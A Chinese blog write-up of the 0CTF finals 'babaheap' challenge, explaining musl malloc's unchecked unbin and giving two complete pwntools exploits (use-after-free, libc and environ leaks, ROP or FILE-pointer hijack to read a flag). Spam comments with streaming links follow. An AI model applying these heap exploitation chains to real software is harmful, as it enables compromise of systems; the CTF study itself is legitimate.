Loading... ## 前置 第一次接触musl,先翻了一下musl-1.1.24的malloc源码([参考文章](https://juejin.cn/post/6844903574154002445#heading-4)) 有几个注意点是: * 尾插头取 * 无hook * unbin函数没有检查链表完整性,可以用来各种读写 ```c static void unbin(struct chunk *c, int i) { if (c->prev == c->next) a_and_64(&mal.binmap, ~(1ULL << i)); c->prev->next = c->next; c->next->prev = c->prev; c->csize |= C_INUSE; NEXT_CHUNK(c)->psize |= C_INUSE; } ``` 由于我是赛后做的这题,小小地作弊了一下,下载了musl-1.1.24-1的源码编译了一份带调试符号的动态库做的([编译方法参考](https://www.anquanke.com/post/id/241101)) ## 题解 首先修好跳转表 查看本题,发现free之后没把chunklist里的指针置0,且update功能不检查chunklist里对应的标志位,可以uaf ### 第一步 leak+获取位于mal的chunk(方便后续利用bin->head读写) 因为本题使用calloc,会把申请的内存memset为0,所以不能用释放再申请的办法leak 这里我看了两篇wp使用了略有不同的思路 思路一:[r3kapig wp](https://r3kapig.com/writeup/20211011-0ctf-finals/#babaheap) 1. uaf改某free的chunk->next的最后一位为'\x00',使chunk->next指向mal+n处(取mal+n正好是某bin-0x8处),随后free一个对应该bin大小的chunk让next作为chunk拥有合法的next、prev 2. unbin两次获得指向mal+n的chunk(即next指向的chunk),取得该chunk之后再leak 思路二:[赤道企鹅 wp](https://eqqie.cn/index.php/archives/1825) 1. 利用unbin中`c->next->prev = c->prev`将bin地址写到我们能读取的chunk中来leak 2. 修改某chunk的next到mal-0x20处,因为已经leak出了libc地址,所以next的next、prev字段可以利用unbin设置 3. unbin两次获得指向mal+n的chunk(即next指向的chunk) 这里我为了练习一下这种unbin的技巧就用思路二做下去 得到位于mal-0x20的chunk后要注意将mal结构体开头的bitmap修复 ### 第二步 leak environ+ROP 1. 通过两次unbin让某个bin->head置为libc environ中保存的值,用上一步中得到的chunk将该值读出,计算出main_ret。 2. 将main_ret+0(next)布置为可写地址,两次unbin取得main_ret-0x10块,布置ORW。(取得main_ret-0x10块后main_ebp-0x8处保存的全局变量chunklist就被破坏了,后续无法再进行堆操作。) 3. return exp: ```python from pwn import* p=process('./babaheap') libc=ELF('/lib/ld-musl-x86_64.so.1') #context.log_level='debug' def cmd(idx): p.sendlineafter("Command: ",str(idx)) def allocate(size,content): cmd(1) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",content) def update(idx,size,content): cmd(2) p.sendlineafter("Index: ",str(idx)) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",content) def delete(idx): cmd(3) p.sendlineafter("Index: ",str(idx)) def view(idx): cmd(4) p.sendlineafter("Index: ",str(idx)) #leak libc allocate(0x10,b'\n') #0 allocate(0x80,b'\n') #1 allocate(0x10,b'\n') #2 allocate(0x10,b'\n') #3 delete(0) delete(2) update(0,1,b'') allocate(0x10,b'a\n') #0 view(1) p.recvuntil("Chunk[1]: ") p.recv(0x78) leak=u64(p.recv(6).ljust(8,b'\x00')) libc_base=leak-(0x7feaf6582a80-0x00007feaf62e6000) mal=libc_base+0x29ca80 #=leak heap_base=libc_base+0x29f370 print(b"leak: ",hex(leak)) print(b"libc_base: ",hex(libc_base)) print(b"mal: ",hex(mal)) print(b"heap_base: ",hex(heap_base)) #get mal allocate(0x20,b'\n') #2 allocate(0x20,b'\n') #4 delete(2) update(2,0x8,p64(mal-0x28)[0:7]) allocate(0x20,b'\n') #2 allocate(0x100,b'\n') #5 allocate(0x100,b'\n') #6 delete(5) update(5,0x8,p64(mal-0x20)[0:7]) allocate(0x100,b'\n') #5 allocate(0x100,p64(0)*2+p64(0x9000000000)+b'\n') #7 mal #leak main_ret libc_environ=libc_base+libc.symbols['environ'] allocate(0x10,b'\n') #8 allocate(0x10,b'\n') #9 delete(8) update(8,0x8,p64(libc_environ-0x10)[0:7]) allocate(0x10,b'\n') #8 allocate(0x10,b'\n') #10 view(7) p.recvuntil("Chunk[7]: ") p.recv(0x20) environ=u64(p.recv(8)) print(b"environ: ",hex(environ)) #gdb.attach(p) main_ret=environ-0x40 print(b"main_ret: ",hex(main_ret)) #ROP allocate(0x20,b'\n') #11 allocate(0x20,b'\n') #12 delete(11) update(11,0x8,p64(main_ret-0x18)[0:6]+b'\n') allocate(0x20,b'\n') #11 allocate(0x120,b'\n') #13 allocate(0x120,b'\n') #14 delete(13) update(13,0x8,p64(main_ret-0x10)[0:7]) allocate(0x120,b'\n') #15 delete(3) delete(4) delete(6) delete(9) pop_rdi_ret = libc_base + 0x014f3c pop_rsi_ret = libc_base + 0x01548c pop_rdx_ret = libc_base + 0x0209ac libc_open = libc_base + libc.symbols['open'] libc_read = libc_base + libc.symbols['read'] libc_write = libc_base + libc.symbols['write'] head=libc_base+0x29efb8 print(b"head: ",hex(head)) tail=libc_base+0x7f620bfcc080-0x7f620bd2f000 orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(heap_base)+p64(pop_rdx_ret)+p64(0x8)+p64(libc_read) #read(0,heap_base,0x8) orw+=p64(pop_rdi_ret)+p64(heap_base)+p64(pop_rsi_ret)+p64(0)+p64(libc_open) #open(heap_base,0) orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_base)+p64(pop_rdx_ret)+p64(0x30)+p64(libc_read) #read(3,heap_base,0x30) orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_base)+p64(pop_rdx_ret)+p64(0x30)+p64(libc_write) #write(1,heap_base,0x30) #print("orwlen:",hex(len(orw))) #gdb.attach(p) allocate(0x60,b'\n') #3 allocate(0x60,b'\n') #4 delete(3) update(3,0x8,p64(tail-0x18)[0:6]+b'\n') allocate(0x60,b'\n') #3 allocate(0x120,orw+b'\n') #3 main_ret gdb.attach(p) cmd(5) p.interactive() ``` ## 后记 从AiDai师傅的博客了解到还可以打IO_FILE([链接](https://aidaip.github.io/binary/2021/10/01/House-of-musl-dininghall.html))以及gadget `mov rdx, dword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx;` stdin的函数指针触发麻烦所以打stdout->write(printf和puts均会使用此函数指针,它指向__stdio_write) 此方法在本题的注意点是覆盖stdout时FILE->wend的值不能为0 ![](https://s4.ax1x.com/2022/01/02/TTxMY8.png) 否则在vprintf中会调用 `__towrite()`函数,改变FILE->wpos的值(它在 `&FILE + 0x38`位置,gadget执行后成为rip),ROP失败 ```cpp int vfprintf(FILE *restrict f, const char *restrict fmt, va_list ap) { va_list ap2; int nl_type[NL_ARGMAX+1] = {0}; union arg nl_arg[NL_ARGMAX+1]; unsigned char internal_buf[80], *saved_buf = 0; int olderr; int ret; /* the copy allows passing va_list* even if va_list is an array */ va_copy(ap2, ap); if (printf_core(0, fmt, &ap2, nl_arg, nl_type) < 0) { va_end(ap2); return -1; } FLOCK(f); olderr = f->flags & F_ERR; if (f->mode < 1) f->flags &= ~F_ERR; if (!f->buf_size) { saved_buf = f->buf; f->buf = internal_buf; f->buf_size = sizeof internal_buf; f->wpos = f->wbase = f->wend = 0; } if (!f->wend && __towrite(f)) ret = -1; else ret = printf_core(f, fmt, &ap2, nl_arg, nl_type); if (saved_buf) { f->write(f, 0, 0); if (!f->wpos) ret = -1; f->buf = saved_buf; f->buf_size = 0; f->wpos = f->wbase = f->wend = 0; } if (f->flags & F_ERR) ret = -1; f->flags |= olderr; FUNLOCK(f); va_end(ap2); return ret; } ``` ![__towriter.c](https://s4.ax1x.com/2022/01/02/TTxQfS.png) exp: ```python from pwn import* p=process('./babaheap') libc=ELF('/lib/ld-musl-x86_64.so.1') context.log_level='debug' def cmd(idx): p.sendlineafter("Command: ",str(idx)) def allocate(size,content): cmd(1) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",content) def update(idx,size,content): cmd(2) p.sendlineafter("Index: ",str(idx)) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",content) def delete(idx): cmd(3) p.sendlineafter("Index: ",str(idx)) def view(idx): cmd(4) p.sendlineafter("Index: ",str(idx)) ''' 0x000000000004dba6: mov rdx, dword ptr [rdi + 0x30]; mov rsp, rdx; mov rdx, qword ptr [rdi + 0x38]; jmp rdx; ''' #leak libc allocate(0x10,b'\n') #0 allocate(0x80,b'\n') #1 allocate(0x10,b'\n') #2 allocate(0x10,b'\n') #3 delete(0) delete(2) update(0,1,b'') allocate(0x10,b'a\n') #0 view(1) p.recvuntil("Chunk[1]: ") p.recv(0x78) leak=u64(p.recv(6).ljust(8,b'\x00')) libc_base=leak-(0x7feaf6582a80-0x00007feaf62e6000) mal=libc_base+0x29ca80 #=leak heap_base=libc_base+0x29f370 print(b"leak: ",hex(leak)) print(b"libc_base: ",hex(libc_base)) print(b"mal: ",hex(mal)) print(b"heap_base: ",hex(heap_base)) #fuck stdin stdin=libc_base+libc.symbols['__stdin_FILE'] print(b"stdin: ",hex(stdin)) allocate(0x20,b'\n') #2 allocate(0x20,b'\n') #4 delete(2) update(2,0x10,p64(stdin-0x10)+p64(stdin-0x10)[0:7]) #gdb.attach(p) allocate(0x20,b'\n') #2 allocate(0x180,b'\n') #5 allocate(0x180,b'\n') #6 delete(5) #gdb.attach(p) allocate(0x200,b'\n') #5 allocate(0x200,b'\n') #7 delete(5) bin12=mal+288 update(5,0x10,p64(stdin-0x10)+p64(bin12)[0:7]) allocate(0x200,b'\n') #5 rdi = libc_base+0x14f3c rsi = libc_base+0x1548c rdx = libc_base+0x209ac ret = libc_base+0xcdc open_addr = libc_base+libc.sym['open'] read_addr = libc_base+libc.sym['read'] write_addr = libc_base+libc.sym['write'] rop = p64(ret)+p64(rdi)+p64(0)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x8)+p64(read_addr) rop += p64(rdi)+p64(libc_base+libc.bss())+p64(rsi)+p64(0)+p64(open_addr) rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(read_addr) rop += p64(rdi)+p64(1)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(write_addr) gadget = libc_base+0x4dba6 print(b"gadget: ",hex(gadget)) rop_addr = stdin payload = rop.ljust(0x100,b'\x00') payload += p64(0)*4+p64(1)+p64(0) payload += p64(rop_addr) payload += p64(ret) payload += p64(0) payload += p64(gadget) #gdb.attach(p) cmd(1) #8 p.recvuntil('Size: ') p.sendline(str(0x180)) #gdb.attach(p) p.send(payload+b'\n') p.send(b'./flag\x00\n') #gdb.attach(p) p.interactive() ``` 最后修改:2022 年 01 月 02 日 09 : 19 PM © 允许规范转载
25 条评论
博主太厉害了!
《玛丽亚,我的爱》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/50606.html
博主太厉害了!
《杨贵妃粤语》韩国剧高清在线免费观看:https://www.jgz518.com/xingkong/109963.html
《玛丽亚,我的爱》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/50606.html
看的我热血沸腾啊https://www.ea55.com/
怎么收藏这篇文章?
叼茂SEO.bfbikes.com
博主真是太厉害了!!!
陈羰放:文章真不错https://haodnf.cn/gonglue/xinshouzhinan/20240801/116.html
555
1
1
555
555
1
1
1
1
1
1
1
1
1
555